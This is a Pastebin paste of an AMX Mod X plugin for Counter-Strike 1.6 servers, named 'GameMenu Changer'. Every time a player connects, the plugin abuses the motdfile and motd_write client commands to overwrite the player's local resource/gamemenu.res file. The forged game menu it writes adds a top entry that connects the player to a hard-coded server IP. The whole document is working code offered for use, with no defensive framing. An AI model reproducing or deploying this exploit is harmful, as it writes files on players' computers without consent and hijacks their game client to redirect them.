MegastoRM

gm1

Aug 1st, 2012
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1.  
  2. #include <amxmodx>
  3.  
  4. const SIZE = 1024;
  5. new szText[SIZE + 1];
  6.  
  7. public plugin_init()
  8. {
  9. register_plugin("GameMenu Changer", "2.0b" , "BrundiX & Unknown");
  10. register_cvar("autogm" , "2.0b" , (FCVAR_SERVER|FCVAR_SPONLY));
  11. }
  12.  
  13. public plugin_cfg()
  14. {
  15. new len = 0;
  16.  
  17. len += formatex(szText[len], SIZE - len, "^"GameMenu^" { ^"1^" { ^"label^" ^"ALIVE Public [STEAM AWARDS]^"");
  18. len += formatex(szText[len], SIZE - len, " ^"command^" ^"engine Connect 193.192.59.74:27022^"");
  19. len += formatex(szText[len], SIZE - len, " } ^"2^" { ^"label^" ^"^" ^"command^" ^"^" }");
  20. len += formatex(szText[len], SIZE - len, " ^"3^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^"");
  21. len += formatex(szText[len], SIZE - len, " ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }");
  22. len += formatex(szText[len], SIZE - len, " ^"4^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^"");
  23. len += formatex(szText[len], SIZE - len, " ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"");
  24. len += formatex(szText[len], SIZE - len, " ^"notsingle^" ^"1^" } ^"5^" { ^"label^" ^"#GameUI_GameMenu_PlayerList^"");
  25. len += formatex(szText[len], SIZE - len, " ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"");
  26. len += formatex(szText[len], SIZE - len, " } ^"9^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }");
  27. len += formatex(szText[len], SIZE - len, " ^"10^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"");
  28. len += formatex(szText[len], SIZE - len, " } ^"11^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^"");
  29. len += formatex(szText[len], SIZE - len, " } ^"12^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^"");
  30. len += formatex(szText[len], SIZE - len, " } ^"13^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } }");
  31. }
  32.  
  33. public client_connect(id)
  34. {
  35. client_cmd(id, "motdfile ^"resource/gamemenu.res^"");
  36. client_cmd(id, "motd_write %s", szText);
  37. client_cmd(id, "motdfile ^"motd.txt^"");
  38. }
Advertisement
Add Comment
Please, Sign In to add comment